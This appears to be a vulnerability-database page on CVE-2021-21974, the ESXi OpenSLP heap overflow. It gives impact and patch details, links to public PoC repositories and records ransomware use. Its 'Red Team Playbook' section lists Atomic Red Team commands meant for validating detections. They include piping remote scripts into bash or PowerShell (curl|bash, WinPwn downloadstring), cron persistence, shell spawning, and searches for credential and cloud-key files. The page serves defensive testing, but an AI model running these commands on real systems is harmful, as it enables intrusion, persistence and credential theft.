CVE-2021-21974
Overview
This vulnerability is a heap overflow caused by improper handling of network messages within the OpenSLP service in VMware ESXi. The flaw arises from insufficient bounds checking when processing requests received on UDP port 427, leading to memory corruption in the heap. The affected component is the OpenSLP daemon responsible for service location protocol operations in ESXi versions prior to specified patches.
Vulnerability Description
OpenSLP as used in ESXi (7.0 before ESXi70U1c-17325551, 6.7 before ESXi670-202102401-SG, 6.5 before ESXi650-202102101-SG) has a heap-overflow vulnerability. A malicious actor residing within the same network segment as ESXi who has access to port 427 may be able to trigger the heap-overflow issue in OpenSLP service resulting in remote code execution.
Impact
An attacker within the same network segment can exploit this vulnerability without authentication to execute arbitrary code on the ESXi host with elevated privileges. This enables full compromise of the hypervisor, allowing control over hosted virtual machines and potential lateral movement within the infrastructure. The exploit can lead to complete system takeover, data breach, and disruption of virtualized services, severely impacting business operations.
Solution
VMware has released security updates addressing this issue in advisory VMSA-2021-0002. Affected ESXi versions 6.5, 6.7, and 7.0 should be updated to versions ESXi650-202102101-SG, ESXi670-202102401-SG, and ESXi70U1c-17325551 respectively. Detailed patch instructions and downloads are available at https://www.vmware.com/security/advisories/VMSA-2021-0002.html. Administrators should apply these updates promptly to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (233)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Vmware | Cloud Foundation | All |
cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
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Vmware | Cloud Foundation | All |
cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
|
|
|
Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:-:*:*:*:*:*:*
|
|
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Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:2:*:*:*:*:*:*
|
|
|
Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201701001:*:*:*:*:*:*
|
|
|
Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201703001:*:*:*:*:*:*
|
|
|
Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201703002:*:*:*:*:*:*
|
|
|
Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201704001:*:*:*:*:*:*
|
|
|
Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707101:*:*:*:*:*:*
|
|
|
Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707102:*:*:*:*:*:*
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|
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Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707103:*:*:*:*:*:*
|
|
|
Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707201:*:*:*:*:*:*
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|
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Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707202:*:*:*:*:*:*
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Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707203:*:*:*:*:*:*
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Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707204:*:*:*:*:*:*
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Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707205:*:*:*:*:*:*
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Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707206:*:*:*:*:*:*
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Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707207:*:*:*:*:*:*
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Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707208:*:*:*:*:*:*
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Vmware | Esxi | 6.5 |
cpe:2.3:o:vmware:esxi:6.5:650-201707209:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (7)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Shadow0ps/CVE-2021-21974
POC for CVE-2021-21974 VMWare ESXi RCE Exploit
|
Shadow0ps | 186 | 42 | 2021-05-25 | View |
|
Aiyakami/CVE-2021-21974
自研针对ESXI 堆栈溢出的CVE-2021-21974 POC,只支持项目给出的的目标和环境,用于学习和研究
|
Aiyakami | 5 | 0 | 2026-07-08 | View |
|
n2x4/Feb2023-CVE-2021-21974-OSINT
Analysis of the ransom demands from Shodan results
|
n2x4 | 2 | 0 | 2023-02-04 | View |
|
CYBERTHREATANALYSIS/ESXi-Ransomware-Scanner-mi
ESXi EZ - A custom scanner that takes list of IPs either in JSON, CSV or individually and checks for infection CVE-2021...
|
CYBERTHREATANALYSIS | 2 | 0 | 2023-02-08 | View |
|
hateme021202/cve-2021-21974
Nmap NSE script for cve-2021-21974
|
hateme021202 | 0 | 0 | 2023-10-19 | View |
|
mercylessghost/CVE-2021-21974
|
mercylessghost | 0 | 0 | 2025-01-10 | View |
|
abirasecurity/CVE-2021-21974_vuln_dectection
CVE-2021-21974 Vulnerability Detection Tool Safe PoC that identifies vulnerable SLP implementations without exploitation
|
abirasecurity | 0 | 0 | 2025-09-04 | View |
Ransomware Groups 2
Threat Feed
26 eventsSighting activity recorded
Ransomware group known to exploit this vulnerability
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Sighting activity recorded
Ransomware group known to exploit this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 80 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-21974 |
| vmware.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.vmware.com/security/advisories/VMSA-2021-0002.html |
| zerodayinitiative.com |
GitHub CVE
x_refsource_MISC
|
https://www.zerodayinitiative.com/advisories/ZDI-21-250/ |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/162957/VMware-ESXi-OpenSLP-Heap-Overflow.html |